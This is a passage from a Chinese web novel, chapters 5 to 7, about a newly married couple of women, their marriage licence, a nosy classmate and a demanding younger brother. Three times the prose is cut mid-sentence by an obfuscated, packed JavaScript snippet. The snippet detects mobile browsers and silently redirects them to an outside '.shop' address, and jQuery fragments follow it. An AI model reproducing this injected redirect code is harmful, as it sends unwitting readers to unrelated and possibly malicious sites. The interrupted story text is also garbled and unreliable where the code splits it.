从被她刺激到的脖颈一直弥漫到眼底。年弥之整个人都热透了,呆愣愣的杵着,忘了感到惊讶或者冒犯。 还是这样的颜色跟她更般配,这才可爱。而不是和那个谁有说有笑的,看的让人想咬。 卿兮翎好生满意的又拍拍年弥之的手臂。像顽皮的兔子在吸引注意。 她都拍了两下了,年弥之竟然还没有反应。 卿兮翎自己把自己气饱了,转过头轻摇了两下,闭上眼动动鼻梁。 年弥之以为自己幻听了。 她刚刚好像听见一声很轻的“哼”。 她不确定是她自己发出来的,还是某些车零件摩擦出的。 等她凝神再听,那一声又消失了,从未来过一样。 在卿兮翎咬着嘴唇啧一声后,年弥之才反应过来,刚刚那点让人发羞的声音竟是她发出的。 没等年弥之给出多少惊叹、羞愤、燥热。 卿兮翎把一早准备好的话强硬的塞在她手里。 【我觉得拍拍没有用。你还是不看消息。】 年弥之这才反应过来卿兮翎刚刚在做什么。 原来是拍拍她,想让她看消息……怎么兜这么大个圈子,不直接把手机拿给她? 还有那让人误会的嗅闻……究竟是什么意思? 卿兮翎看年弥之准备去拿手机,眼疾手快的阻止了,将就着她自己的手机顺着聊天记录往上翻。 于是年弥之看见了一大串的拍一拍。 并且里面的文字相当让她震撼。 ——你拍了拍之之然后被她最爱的砚砚打了 年弥之瞳孔地震!她的拍一拍什么时候变成这样了? 甚至她还看见了自己下课那个点,卿兮翎最后发来的一条消息。 【理理我】 年弥之的良心嘭一声,痛飞了。 她捂着心口,思绪很乱,几度开口一个字都没能说出来。 卿兮翎睨她一眼,抽回手机,悠悠给她打字:【如果你心里装着别人,也没关系的。我们可以只是协议结婚。】 确保年弥之看完有了反应,卿兮翎继续:【或者你根本不是les。我不需要太久,也不会阻止你私下和别人。两年足够了。】 “不是你听我解释!”年弥之真急了,一下喷出一句话,速度快到她怀疑卿兮翎都没听清。 “我没有喜欢的人!这个、这个是我闺蜜在我留学之前非要改的,呃……她在国内念大学,我在国外。我们有时差,她家里也不允许她动不动就出国,我家里嗯,反正我俩不能像高中那样天天见面聊天。她怕我出国以后跟她不好了,才逮着我改。”年弥之冷汗一层层的往外冒。 她也是着急过了头,才把尘封的记忆挖出来。 毕竟,她闺蜜担心的事确实发生了。她们大一那年熬着夜也要给彼此发消息,甚至打电话,一打好几个小时。可到了大三,开学这不到一周里,年弥之和闺蜜的聊天记录两页就能截完。 “我可以现在改。”有妻子之后这样的拍一拍确实不太合适了。或者说,这个拍一拍本身就不太好。 万幸这两年她用微信的时候不多,没有几个人拍过她。 卿兮翎捏了她手臂一下,让她别急,先看自己打的字。 年弥之只好把手机放下。 【那我们是什么?贵、归……】 年弥之看见卿兮翎很艰难的在打闺蜜两个字,想了想换了个英文表达:“bestfriend” 卿兮翎眼里闪过一丝恍悟。 【bf啊】只是打字,一句话也可以如此意味深长。 她们才认识一天,当然不会是彼此的bestfriend。 可卿兮翎都这么问了。 如果卿兮翎不问,年弥之只会在心里一遍又一遍的想她们应该是什么关系。 没有感情,有利益纠缠,闪婚的妻妻。能算妻妻吗?可如果不是妻妻,那她们又算什么呢? “你想吗?我……我希望我们可以是妻妻。”也许是卿兮翎很体贴。也许是年弥之还看见她端庄之下的小性子。也许是中午和她一起吃的那顿饭让年弥之向往。 年弥之踌躇,却也主动。 她很隐晦的承认她在意、回味,甚至在期待那个意外的,近乎放纵的吻。 也许想要更进一步。 卿兮翎一下就听明白了。 她没有说她不愿啊。 早上她就表达了喜欢。原来这人没有收到吗? 车已经停稳在办事处楼前。 年弥之犹豫着还是先开了车门,准备下车。 像卿兮翎说的那样,她着急,可她也不想逼迫卿兮翎。她们还有时间慢慢考虑。 而卿兮翎再一次拉住年弥之的衣领。 只是这一次很轻盈。像某一曲舞步中的一个动作。 年弥之回过头。 她的金发妖精小姐凑了过来。 在她唇边印了一个吻。 只是嘴角吻而已。 *** 年弥之拿好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556940|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证件,跟着卿兮翎往楼上走的时候,整个人都还热着。 刚刚她是烧红的鱼,这会儿大概已经算烧红的玻璃了。 她脖颈也软,没法支撑着头抬起来。 嘴角也软。那是她浑身上下最烫的地方。她甚至感觉不到它的存在,可伸出舌头去舔,卿兮翎嘴唇的软又能反上来,形成新的刺激。 卿兮翎终于肯跟她牵手了。她们从粗略的抓握变成十指相扣。年弥之能感觉到卿兮翎捏的更紧,更用力。 年弥之呼吸慢慢沉下去。 她想到卿兮翎刚刚的问题。 ——或者你根本不是les 年弥之确实没有思考过这件事。自己的取向到底是什么,喜欢什么样的人。 小时候被人围着你一句我一句的接龙,她们都在说喜欢帅的有腹肌的男生,喜欢腹黑的会逗自己笑的男生。轮到年弥之,她冷场了半天才支支吾吾的给出一个邻家青梅竹马的回答,旁边人还调笑她无聊。她只是真的想不到怎么样的男性会让她心动。 至于后来初中高中,她听说过同性恋,见过朋友里有人是,那俩学姐高中就开始谈,一直拉扯到研究生,分分合合的。她只是没想过她自己。 可思考到这个问题,热到快要融化的年弥之忽然定了心神,低声笑了几下。 她觉得这不算问题。 她们那一个吻又一个吻发生的那么自然。她甚至产生了渴望、期待的想法。 说明她本来就接受和同性不是吗? 脸颊被戳了一下。年弥之侧过头,看见卿兮翎给她指办公室门。 年弥之站直调整好姿态,余光幽幽瞥了卿兮翎无比正式的衣服一眼。她也该回去换一身衣服的…… 就算国内外流程不太一样,今天应该也要拍照吧? 结果流程和国内的完全不一样。 年弥之进去了才知道,她和卿兮翎今天拿到的license应该叫做结婚许可。 她们只需要填写资料,缴费,然后等待license下来。一般来说半个小时之内就能拿到。 然后还有24小时的等待期。年弥之也不知道这等一天能做什么。哪怕闪婚如她们,也不会因为一天就分手。 可能是当地要核实资料吧。年弥之听着卿兮翎介绍,在心底暗暗吐槽。 等这个等待期结束,她们还要在六十天内举办一个仪式。 年弥之问了卿兮翎这个和婚礼是同一个东西吗? 卿兮翎沉默了好一会儿才给她打字: 【可能?这边很多人的“婚礼”就是一个派对,和这个肯定不一样,这个是官方要求的】 举行完仪式居然还不算完。还得把仪式上签的资料交回办公室,由办公室把结婚证邮寄给新人。 年弥之想象中的拍结婚照,证明感情,在这里完全没有出现过。 排队时她悄悄贴着卿兮翎跟她低语,问她需不需要拍照片。 卿兮翎投过来的眼神好奇怪,打量了她好几下才给她打字说不需要。 甚至还补充了一句:【那是婚后给伴侣办绿卡才需要的东西】 年弥之不说话了。再说要被卿兮翎当成通过她拿绿卡的骗子了。 年弥之确实没有这个想法。她只是想在美读个书,最好再赚几年美刀,打个汇率差,多捏点钱在自己手里。 至于绿卡,等工作了再看情况。她的公司也有能力给她抽,哪里需要靠伴侣。 最主要的是,她和卿兮翎算不上有感情。而她已经贪图了卿兮翎的钱。 年弥之很快登记好自己的信息。卿兮翎也填完,她们在旁边等了十多分钟就拿到了license。 拿到license的时候卿兮翎还贴上了年弥之的肩膀,和她一起翻看里面的内容。 被卿兮翎咬痛的耳根,被她亲吻的嘴角,随着license的展开,一点点发起热。 “所以……我们现在是妻妻了吗?”她回忆过她们相识的一天,余光扫过license,英文把她打晕了,她就没再看,打算晚点回去仔细研究。她不得不出声转移燥热的尴尬。 贴着她肩膀的头小幅度的点了点,跟撒娇蹭蹭一样。 年弥之低下头,试探着朝卿兮翎的方向伸出手。 卿兮翎大概余光看见了她的动作,直接握住她递过来的手。 与她十指相扣。 今天开始,她们就是新婚妻妻了。 *** 卿兮翎将年弥之送回莫宁冠大学。 年弥之看着时间,两点五十。不得不感叹卿兮翎算时间的精准。 “我六点半下课,你会来接我吗?”年弥之说不清自己这一句话是试探,还是寻常的问题。 她缩在车窗边探了半个脑袋进去,看向她的妻子。 卿兮翎听见她的话,仿佛听到某个笑话,一阵阵的颤着笑起来。 她打字都多花了一点时间。 【会啊,我的妻子。】 【还会给你准备晚餐。你要和朋友出去吃的话,记得提前告诉我】 【还有……】 年弥之没让卿兮翎打完那句话。 “我会记得看你消息的。”她好像郑重的说完了什么誓词一样,羞红着脸跑走了。 卿兮翎靠在车座上远望她离去,眼里的柔和许久都没散尽。 她打开手机,给年弥之换了个备注。 很郑重的打下这几个字。 【我的妻子】 年弥之赶到教室时,只剩一分钟开课了。 她找到尤明秋给她占的位置,在好友幽怨的凝视中坐下,准备电脑和电容笔。 微信弹出特别提示音。年弥之打开来,先点到她之前没能看见的那条“另外”。 【3hoursago-卿兮翎:另外,之之你应该喊我姐姐。毕竟我27岁了。】 6. 第 6 章 【3hoursago-卿兮翎:另外,之之你应该喊我姐姐。毕竟我27岁了。】 年弥之对lesbian这个群体不是很熟悉,没能第一时间体会到卿兮翎语气里的暧昧。 她只是不可避免的想到博拂远。 这货小时候还会喊她姐姐,跟在她身后转悠,她去哪儿他就跟到哪儿。长大了就愈发讨厌,喊她不是一个单字姐,就是老姐,出国之后更是学坏了,最近基本上都喊她名字。除了求她帮忙的时候会喊个姐,别的时候让他好好喊人比刀了他还难。 姐姐这个词也变得久违了。 而卿兮翎竟然主动让她喊姐姐。 她在期待一个姐姐的时候,卿兮翎也在希望有一个妹妹吗?真不知道她的家庭是什么样的,欧美很少有独生吧,她家里应该也有姐妹兄弟。 【之之:你27了?】年弥之抿着嘴角的笑,想拖延又想试探的,挑了个最不重要的事。 刚刚登记的时候她都没注意看卿兮翎的资料,没发现她比自己大了六岁。 年弥之看脸蛋一直以为卿兮翎最多比她大一点点,还想好好照顾她呢。 没想到都27了。也不知道她是什么职业。 年弥之难免又想起下午卿兮翎的马甲正装。她一定是很成功的职场女性吧?说不定还是某家公司的高管,办公室在曼城高层,开会时一整张长桌的人都要等她先开口。 【卿兮翎:嗯。】 年弥之看着如此简洁的“嗯”,眼底又浮现出莫名的懊恼。 罢了……她真的要有姐姐了。 是可以照顾她陪伴她的姐姐。 【之之:姐姐】她打下这两个字,浑身就开始冒欢快的泡泡。 【卿兮翎:乖。上课吧,待会儿见】 年弥之多看了几眼那个“乖”,将微信关掉。 教授刚刚在台上打开ppt,尤明秋就凑过来了。 “你不打算解释一下吗?”她声音压的很小。 这是人最多的一节课,她们在的阶梯教室能容纳最多两百号人。 平时除了给她们这种全系大课上课,就是给名人开讲座。 不过今天没有坐满,大课不点名,又是本学期第二节课,教室里熙熙攘攘的,可能就来了一半。 年弥之瞥了好友一眼,开始装傻。 “未婚妻啊!”尤明秋压着嗓子也快要尖叫了。 天知道刚刚那一个小时她怎么过的,煎熬又焦急,偏偏这种接近于隐私的事她还没法跟别人说。一个人坐在图书馆里都快着急死了。 “什么什么?”坐在她们旁边的也是一位课友,辛乔。 “诶Chloe,你家里好些了吗?是不是要退租换地方住啊?我那边刚刚好,两站地铁直达正门,一个月给你一千刀,友情价。咱们还能一起做饭。” 辛乔不知道从哪儿听说了年弥之家里的事,主动邀请她合租。 辛乔家境不算很好,平时很节俭,她住inwood区,天天自己做饭,换着花样省钱,坐飞机回国都不肯打车,一个人提前五六个小时拎三个大箱子摇地铁。 “暂时不用了,我找到地方住了。之前那套肯定得转租出去……”年弥之想起这件事,赶紧在备忘录里记下来,省的忙忘了。 辛乔也不勉强,转回去听课了。 尤明秋换成了微信打字,控诉年弥之。 【Charlie,FE,E4700:未婚妻啊!!!】 【我没听错吧?我刚刚确认了五遍回忆,我没听错啊!】 【你不是没谈过恋爱吗?难道是家里人给你找的,这么开放!你是les?跟她们出柜了?】 【不对,她们不是想让你去跟那个油腻男结婚吗?】 年弥之看着尤明秋这么一串问题,都不知道该从哪个开始回答。 她本来想装没看见,当乖学生认真听讲。 奈何尤明秋一直在旁边高强度肘击她,戳得她手肘疼,笔记都做不好。她不得不回了消息。 【之之:上课上课,这节课我要听。】这节课教授会讲一些很有用,不考,并且教材上没有的内容,年弥之不可能错过。 尤明秋在旁边冲年弥之比了个鬼脸,最后发了一条消息就转了回去。 【Charlie,FE,E4700:行,你有本事下课别跑!】 下课时年弥之冲的比谁都快。 她咬着贱兮兮的笑侧身错开尤明秋的抓捕,提着包快跑,连超两组欧美人,引来众目。 尤明秋被看热闹的人拦住,艰难的在她们当中穿梭,嘴里嚷嚷着什么“绝对不会放过”“我一定会回来”的话。 辛乔和现室友在不远处看的啧啧称奇。好热闹,又疯两个。 这才学期刚开始呢,不敢想到了readingbreak两个人要怎么活。 好在年弥之也不是真想逃,尤明秋最终还是抓住了她。 尤明秋拎着年弥之小学生似的背包,两个人在喷水池前大眼瞪小眼,年弥之脸上的笑都快压不住了,挑衅朋友真好玩。 尤明秋刚准备开始质问年弥之。 年弥之忽然抬头看向尤明秋身后,眼珠还亮了起来。 “孟学姐!”她做RA面试的时候见过孟素尘,校园里碰到了,当然得打招呼。 尤明秋听见这个金融系名人,也不跟年弥之闹了,还站到她旁边,老实巴交的跟孟素尘打招呼。 “Chloe?正好,刚准备给你发消息。”孟素尘手里还抱着一堆资料,转过身,跟年弥之打了招呼。 “我晚点给你发一份资料,你今天明天好好准备一下,周四就要来。Miriam最近很忙,需要你提前来帮忙。”Miriam是她们的导师教授。 “哦哦好的,谢谢学姐。”年弥之也乖了不少,尤明秋在孟素尘转身之后又开始对她高强度肘击。 “看到没,我有事忙。”年弥之拿出正当理由。 “咱俩还有节课,你再忙还能翘课?” 尤明秋一听八卦要跑路,都忘了跟年弥之唠孟素尘的事,拉住年弥之的胳膊。“你就简单跟我讲一下嘛,我都见到人了~~” “哎哟你别这样。”年弥之一把将人甩开,摸着胳膊,起了一层鸡皮疙瘩。 “我现在信你是拉拉了。”尤明秋一脸肃穆,好像确认了什么秘密。 年弥之头上冒出一个问号。她只是没让尤明秋贴着她而已……那只胳膊这两天被卿兮翎贴多了,突然不太能接受别人的靠近。 “我跟你讲,但你不要告诉别人。”年弥之还是决定坦白。毕竟尤明秋都见到卿兮翎人了,知道她们的关系。 年弥之把昨天晚上去酒吧开始,到今天早上卿兮翎问自己要不要试试结婚的事简单说了。 略去了她们亲吻的部分,只说她们一起在酒吧买醉,还提了卿兮翎付钱的事。 说到底,年弥之以为那场酒才是卿兮翎向她发出邀请的重点。 尤明秋边听边走,越走越慢,一直到年弥之讲完,两个人刚好站在教学楼门口。 尤明秋顾不上自己堵了门,眼睛瞪大着向年弥之发出惊呼:“你的意思是,你去酒吧抓你弟,遇到一个被他欺负的女人,救了她,然后她对你许下终身吗?” “……?算不上救她吧!我们只是坐那儿买了一晚上的醉,她就问我要不要跟她结婚。”这也是后来年弥之才想明白的事。 有钱人家的小姐哪里轮得到自己救?说不定自己来晚两分钟,要救的就变成被保镖打倒在地的博拂远了。 “有什么区别吗?”尤明秋很真挚的看着年弥之。 “没有吗!”年弥之惊了。她们两个人的话哪一点一样了! “我看不出来!不都是你弟想搭讪,结果却是你俩结婚了吗?你两点那会儿不会是……”尤明秋斜着瞪眼盯向年弥之。 年弥之把她拉到一边不让她挡道,一脸沉痛的演了起来:“嗯,是的……我已婚了。” 尤明秋爆发出尖叫。 年弥之迅速趁乱逃进教室。 “你!”尤明秋反应过来以后进教室,看见年弥之帮她占的位置,鼻子里的气这才出了大半。 “有什么要问的整理好发给我,不然不知道怎么回你。还有,不要告诉别人!”年弥之推了想凑过来的尤明秋一把。 尤明秋愤愤写文档去了。 年弥之看了一眼这会儿在台上激情念ppt的白男,干脆自己也去整理待办事项和可能需要卿兮翎帮忙的事。 本来就是冲着卿兮翎的钱结婚的,年弥之没打算那么客气。 只是落笔的时候,好不容易因为朋友和妻子高涨的情绪再次跌下去。 她差的也许不止她自己的上学钱,生活费。尤其后者,那都是很容易办到的事…… 以她满绩点的成绩,她可以申请奖学金,住宿问题解决之后,生活费也可以靠RA和跟尤明秋的朋友一起搞副业拿到手。 可是博拂远……还有家里的情况。 只是想想就拖得年弥之有些喘不过气来。 尤其她今天不想打扰到心情,早上撤回了给母亲的消息之后就没看家里人发来的消息了。 除了年尚旗和博勤,大姨舅舅小叔他们也都给她来了消息。 她微信都堆到99+,出现省略号了。 博拂远这个常年不打开国内社交软件的人都给她发了几条。她都没细看,扫一眼就看见了徐文航的名字,想的心烦。 年弥之几乎是在叹息中混完了这节课。 “一定要回我。”分开的时候,尤明秋手按在年弥之肩膀上。 恰好是卿兮翎下午贴过来轻嗅的位置。 也恰好是尤明秋最喜欢拍的地方。年弥之有点记不起来一点两点那会儿,尤明秋有没有拍过她了。 难道卿兮翎是闻到了陌生人的味道? 可为什么要像小动物一样,直勾勾的贴过来嗅呢…… 多让人害臊啊。 卿兮翎……姐姐对气味这么敏感,这一点也像小动物。 年弥之在图书馆门口跟尤明秋分开,忖度着独自走向后门。卿兮翎跟她约好是在后门接她。 看见卿兮翎拖在身后的长卷发,年弥之终于再次露出笑容,眼角微开,压成一条细缝。 “姐姐。”她忍不住压出乖巧的声线,像面对她真正的姐姐。 卿兮翎上前接过她的背包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556941|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在车里,还踮起脚,抬手摸了摸她的头。 温柔的好像早上安抚她的哭泣。 一定是看见了她眼底的无奈与燥郁吧? 年弥之低下头,让卿兮翎不必踮脚那么累。 昙花香从始至终都那样浓郁。年弥之垂着头也垂着眼眸,表情因为幽香想要绽放,又没能完全开出来。 卿兮翎轻揉了一会儿就收手了。 她扎成一捆渐细麻花的辫子甩在身后,忽然一下拍上年弥之的腿。 好像不听话的尾巴,同样金灿灿毛茸茸,同样俏皮顽劣,就这么啪嗒卷上年弥之的小腿,缠绕出漂亮的荆棘。 那只贴满粉蓝色宝钻的蝴蝶结成为了年弥之鞋袜的装饰品。 “卿、姐姐,你头发卷过来了,我、我要踩到了……”年弥之还以为只是意外,哭笑不得的愣在原地不敢跟着卿兮翎上车。 卿兮翎刚打开车门准备坐上去,回头瞄了年弥之一眼,多少带了点噌怪意味。 卷着年弥之腿肚子的尾巴就这么松开。 年弥之如释重负的跟进了车厢。 卿兮翎把她拉过来,贴上她肩膀,没有更多动作了。 年弥之跟她说了一声,干脆打开手机来看尤明秋的问题合集。 刚好错过卿兮翎微动的鼻尖,以及她因此拧起的眉心。 尤明秋整理了大大小小二三十个问题,跟统计户口似的……年弥之扫了一眼就知道很多问题她回答不了,干脆拉到最后。 尤明秋在文档末尾还给了她一句备注:被辜安砚知道你就完了!!! 三个感叹号,跟她惊讶未婚妻时的程度一样。 辜安砚就是那个给年弥之改拍一拍的闺蜜砚砚。 年弥之看着这句话忍不住发笑。她闺蜜知道她跟漂亮姐姐闪婚,才不会杀了她呢。倒是她母亲…… 年弥之把不愉快的事摇出脑袋,急急忙忙点开微信修改拍一拍。 “姐姐,你觉得这个怎么样?”她改之前还专门问了卿兮翎。 这次她改的相当正常。 ——你拍了拍Chloe,她正在忙,稍后回复你 卿兮翎脸上已经没有异样了。她盯着年弥之的手机仔细端详,认真到有些娇憨的地步,眼里带着明晃晃的困惑,带着戒指的食指也抵住了嘴唇。 年弥之看着她这副模样,感觉自己心底都要开始冒玫瑰花瓣了。 卿兮翎本就是顶级精致的长相,不施粉黛,一身富贵养出来的优雅气质,放在一众明星里也能轻易吊打。 可她在自己身边,时常露出与气质不符,更贴合她脸蛋模样的神情。 年弥之真觉得她当姐姐亏了。她应该当妹妹让自己好好摸摸揉揉照顾着。 半分钟后,卿兮翎大概是觉得逗的差不多了,换上一副懒散,挥手就把年弥之的手机拍掉,以示不满。 “唉唉,这不行吗?那我换什么呀?”年弥之总忍不住对着卿兮翎装乖扮小。 不知道为什么,她就想伏下来,可能是这样更方便卿兮翎靠着她…… 卿兮翎还真贴上她的肩膀,毛乎乎的脑袋蹭过她下巴,抬起的蓝眸里却有一抹奇异的幽怨…… 年弥之一时间以为自己看错了,还低下头想多看一眼,因此把卿兮翎规整的头发弄乱了。 卿兮翎捂着头挪开,转向年弥之,鼻子眼睛拧成红红的一团,真跟生气兔子一样了。 “我、我错了,姐姐。”年弥之看着卿兮翎的红眼眶就没法再逞强。 她瞬间软了态度,好声好气的跟卿兮翎道歉。 卿兮翎没有因为她一句话动弹,反而那眼睛看着是更红了,委屈感浓浓的,堪比她此时此刻身上的昙花香。 “教教我吧姐姐,我不知道该怎么……”年弥之被她一眼拧住心脏,手忙脚乱的慌张起来,因为彼此不够熟悉,她不知所措,只能向卿兮翎求饶。 卿兮翎保持被欺负的受气包模样盯了年弥之三秒,在年弥之头一点一点往下放之后,忽然勾起嘴角。 眼是月的弯,红晕变作最漂亮的眼线,让她的笑狭长而悠远,带上些神秘的味道,莫名的魅惑。 她伸出手,勾了勾。 年弥之一时间有些恍惚,分不清她是在勾手机,还是…… 自己。 她只知道那一瞬间她很想跟随卿兮翎的指令,把自己送过去。 让她挠下巴也好,让她牵着也罢。 听着剧烈的心跳,年弥之急促呼吸着好不容易冷静,将被卿兮翎拍开的手机捡了过去,递在卿兮翎手里。 看着手机就要放在卿兮翎掌中。 一个电话忽然震得年弥之险些松手。 她看见备注,是博拂远的。 “抱歉,我得接一下……”年弥之划开,在卿兮翎变得沉静的蓝眼中,想要按下免提。 只是滑了几下都没按开,博拂远大概没了耐心挂断电话。随后他的短信就发了过来。 【老姐,咱家租的车在你公寓吗?我想借一下,和朋友出去兜风,你开过来给我呗?】 年弥之眉头顿时拧出锁了。 她还没回呢,卿兮翎一把抢过她手机,点开和博拂远的聊天框,开始打字。 7. 第 7 章 在真正按下一个字之前,卿兮翎侧过头,清淡的眸光落在年弥之身上,转瞬变得热闹起来,有些戏谑调笑又期待的光点。 年弥之没有错过她最初的那一点冷。薄薄的像某一层月光,却又那么的尖锐。 年弥之努力笑了下,把心底的情绪掩下。 她没去抢手机,悬空的手落在坐垫上,她半截身子还往卿兮翎的方向靠近了一点,好像那手机不是卿兮翎抢的,是她年弥之自觉让出的。 “姐姐,你要帮我回吗?”还乖乖顺顺的帮卿兮翎说出确认的话。 虽然多了一个“回”字,但卿兮翎还是满意于年弥之的识趣,下巴勉强压下些锋利,嘴角勾起弧度。 她再次朝年弥之勾了勾手。 这次只有戴着戒指的食指,挠痒似的,调戏似的,很轻的一下。 好像挑破了年弥之心上缠绕的线,牵着她不由自主的靠近再靠近。 年弥之晕晕乎乎的主动贴上卿兮翎的手。她甚至弄不清这一瞬的想法,她和卿兮翎的都是。 她只知道她快成雨点的情绪带来干燥的渴望。 卿兮翎的掌心有着她需要的湿漉。 下巴贴上卿兮翎食指,不过一瞬,好轻盈的触感,宛如羽毛触电。 年弥之脸就红成酒色了。 这一定是一个意外。她怎么会想也不想就黏上一个人的手,做这么亲密、甚至带了点暧昧味道的动作? 哪怕眼前人是她名义上的妻子,刚刚认下的姐姐。 年弥之急匆匆的往后仰头去躲。 卿兮翎也没多为难她,食指甚至没有挽留。 只是好像她下巴的滑腻过分的黏在了卿兮翎的指腹上。 卿兮翎拈花似的并拢手指搓了搓。 弄得年弥之也生出幻觉,下巴残留的余温挠得她痒到想哭。 看清卿兮翎蓝眼似媚似笑的光,年弥之鼻尖更酸了,她羞愤的低下头,身子却自觉的往卿兮翎身旁靠了。 直到她头快贴上卿兮翎的肩膀,就好像卿兮翎最喜欢的那样。 卿兮翎才转过头收回笑着的眼,单手拍了拍年弥之的脑袋。还回敬她,把她头发揉的好乱。 然后开始跟博拂远打字。 【我把车开过来,那我怎么回去?】 打完有很细微的停顿,才按了发送。 直到博拂远下一条消息冒出来,年弥之才意识到那个停顿是在询问她的意见。 年弥之忍不住把自己放松、再放松一点。 哪怕在车上,她也绝对不会被博拂远或者家里人看见挣扎或心狠的狼狈。 放松的后果就是她下巴直接贴上卿兮翎的肩膀了。 她是一下弹了起来,跟受惊的蛇一样,眼里带着惊恐,眼仁都快被吓成竖着的了。 卿兮翎反而没什么反应,还在跟博拂远对峙呢。 【弟弟:你打车呗,之前不都这样。或者坐地铁嘛。你住的地方到我那儿就一条路,很方便的。】 【之之:你的意思是我开车给你送车,我自己省钱地铁回?】 看着卿兮翎打完这句话,年弥之听见了一滴血落在心头的声音。 这样的对话如果是她和博拂远,永远都不可能发生。 她根本就知道博拂远会怎么想,会怎么回。哪里会戳穿,顶多选择拒绝他。 而博拂远也会装傻,好像不知道自己在为难姐姐一样,理所当然的命令她。 年弥之轻叹着跟卿兮翎提醒:“车我还了,因为嗯,付不起后面的租金了。” 卿兮翎点头表示知道了,继续。 【弟弟:……有问题吗?】 卿兮翎挑着眉毛,蓝眼看不出喜怒,就是打字的动作慢了些。 【那你自己地铁过来呗,反正是你用车。】 【弟弟:啊?你要我坐地铁过来开车?Chloe你今天怎么了,以前都不这样的】 卿兮翎看着这句话,打字的手第一次停下,预判的话打了一半放在聊天框,没发出去。 她回过头对上年弥之黑黝黝的眼。 那双失焦的黑眸倒映着闪烁的光标,清晰后慢慢散开。 直到博拂远那边的对方正在输入中消失,卿兮翎才收回眼神,继续。 【我能有什么问题?你不是觉得没问题吗?爱坐你坐。】 【弟弟:哎~你帮帮我嘛姐。地铁好远好脏的,我今晚要见Ada她们,得给她们留个好印象。】 卿兮翎大概是没想到博拂远能突然开始撒娇,还拿要见女生,必须得维护自己的魅力当借口。 她可能被恶心了一下,手机咻一声飞回年弥之腿上躺着。 年弥之沉默着捡起手机,这种感觉挺久违的。 家里有钱的时候博拂远哪儿需要求自己。一点钱能解决的事,年弥之宁愿顺着他也不愿意跟他多废话。 就像今天的事。她打个车回来就好了。 如果真的被弄烦了,她还可以回家跟妈爸求一声,说多租一辆车,她也要用。 博拂远爱用的那辆就停到他中学附近的停车场。几千块一个月,她们家也付得起。 如今没钱了,年弥之才意识到博拂远很多时候的要求有多不合理。 博拂远可能是着急,又发了几条带波浪的话催促……看着是真有点膈应。 年弥之斟酌了好一会儿,才打下回复的话。 打的时候还挺艰难的。 卿兮翎小小的停顿过后就落回年弥之身上躺着了,要看她们聊天。 半边肩膀被妻子压着。年弥之打字的动作相当小心,好像她怀里的是只易碎瓷瓶。 【车已经还给车行了。前天它们收租,上个月的租金付完我手里就没钱了,所以退了租。】 本来还想说因为违约又赔了多少,司机那边也闹的不太愉快。 打到一半,年弥之还是把它们都删掉,只保留了最简洁的一句话,发过去。 她不知道年尚旗和博勤是怎么想的,破产这件事要瞒着博拂远,还要给他制造家里没事的假象。 年弥之只是…… 只是不想跟博拂远卖惨似的强调她的情况。 更多的,大概是一点点隐秘的情绪。 她不想在卿兮翎面前那么难看。 【弟弟:?】 【???】 博拂远应该被惊到,一连发了好几个问号。 【之之:认真的。不信去问爹。】 【弟弟:额,那我今晚怎么办?我都跟她们说好了……就一点都没有吗?哪怕就租一个晚上。姐你不是也很喜欢Ada吗?】 对上卿兮翎幽幽的目光,年弥之急忙中译中:“他是想说我觉得Ada不错,那个妹妹人是挺好的,可我没觉得我弟能行啊……” 也不知道博拂远哪儿来的认知,这么自信。年弥之看他就觉得烦得很,臭混小子一个,整天混酒吧派对,不喜欢洗澡。哪个女生会喜欢他。 【弟弟:姐你帮帮我,帮我一把嘛。Tomas今晚都搞了辆香槟色的跑车,超酷的。我不能被他比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556942|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去啊,那丢的不是我们家的脸吗?】 年弥之看的头疼,丢下一句“你不是有钱吗?自己去租吧”就没回了。 她把手机放回衣兜。虽然开了静音,但消息一直来,她衣兜也一直在亮。 贴着她的卿兮翎此刻看不出情绪。年弥之小心翼翼往下低头,还想去把刚刚被自己弄乱的头发梳好。 车就停下了。 她们到了卿兮翎住的地方。 二十多分钟的路程。还挺近。 年弥之侧目看见满街霓虹灯光,狭窄的车道上满满的流着各色豪车,意识到这里竟是第五大道附近,曼城最繁华的地带,有些诧异。 而卿兮翎的车在停了一分钟之后,再次往小巷里钻。 年弥之看见了抬起的栏杆,才反应过来刚刚为什么停车。 这样说来,车库也是卿兮翎私人的? 年弥之咽下口水。能在曼城最繁华的地段买下房子就已经足够豪横,更别说再配套一个车库…… 来接自己上下学的路虎绝对不是卿兮翎的实力。她可能只是挑了一辆跑在路上不会惹人频频回头,不会让年弥之上下车被众目注视甚至造谣的车。 车在车位上停好。卿兮翎一下跳下车。 年弥之紧紧跟着她,还看见她凭空跺了两下脚。兔子一样,好像是不太开心。尾巴似的金发跟在她身后甩呀甩,碎钻蝴蝶结晃得人眼花。 